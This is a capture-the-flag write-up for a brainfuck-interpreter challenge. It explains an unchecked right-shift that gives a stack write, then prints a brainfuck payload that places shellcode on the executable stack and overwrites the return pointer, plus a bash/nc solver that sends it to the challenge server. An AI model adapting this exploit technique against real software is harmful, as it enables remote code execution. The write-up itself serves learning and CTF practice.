I wasn't allowed to put the real title of this challenge. I wonder what it was?
They additionally provided the mind-blown binary.
Five bucks says it's brainfuck.
Popping this into Ghidra and descending into
runProgram, we find the following switch statement:
It's brainfuck. All of you collectively owe me five dollars.
Looking a little closer at the memory pointer manipulation commands, we see that the left shift is bounds checked, but the right shift is not:
Given that it's incrementing by one and the
data variable (the memory tape) is in the stack:
We have an arbitrary stack write primitive which can write everywhere without destroying the buffer before it. In other words, we can bypass the stack cookie and simply modify the return pointer directly. What would be great is if NX was dis-
Now that we have arbitrary write and the stack is marked executable, we can actually set up for RCE.
First, we execute the mind-blown binary with gdb and inspect the
runProgram stack at the beginning of the execution
loop. We simply need to inspect the state of the stack after its zeroed to look for stack items that could allow us to
return into the stack.
Here, we can see that the return pointer is located at
0x1018, the stack base pointer is located at
0x1010, and the
base pointer points to
0x1030. To perform our attack, we want to do the following sequence:
- write our shellcode to the location where the base pointer is pointing to (
- copy the base pointer into the return pointer (
0x1010 => 0x1018)
We use the following brainfuck code (constructed using python string formatting so we can sleep at night):
">"*0x1030 + # shift to *%rbp ",>"*30 + # read 30 bytes of shellcode "<"*30 + "<"*0x20 + # shift to %rbp ( # loop to copy *%rbp to return address ">"*16 + "[-]" + # zero a temporary byte "<"*8 + "[-]" + # zero the destination byte "<"*8 + # go to the source byte "[" + # until source is zero ">"*8 + "+" + # increment destination ">"*8 + "+" + # increment temporary "<"*16 + "-" + # decrement source "]" + ">"*16 + # move to temporary "[" + # until temporary is zero "<"*16 + "+" + # increment source ">"*16 + "-" + # decrement temp "]" + "<"*16 + # shift to source ">" # shift right one to copy next byte )*8 # do it 8 times
I used this 27 byte shellcode, then hit enter a couple of times to flush the buffer to the remote.
Then, we use the following solver:
#!/bin/bash (ls -l payload.txt | cut -d' ' -f 5; cat payload.txt; cat shellcode.bin; cat) | nc ctf2021.hackpack.club 10996
Note that the trailing
cat simply allows us to keep providing input from standard input.
Executing our solver: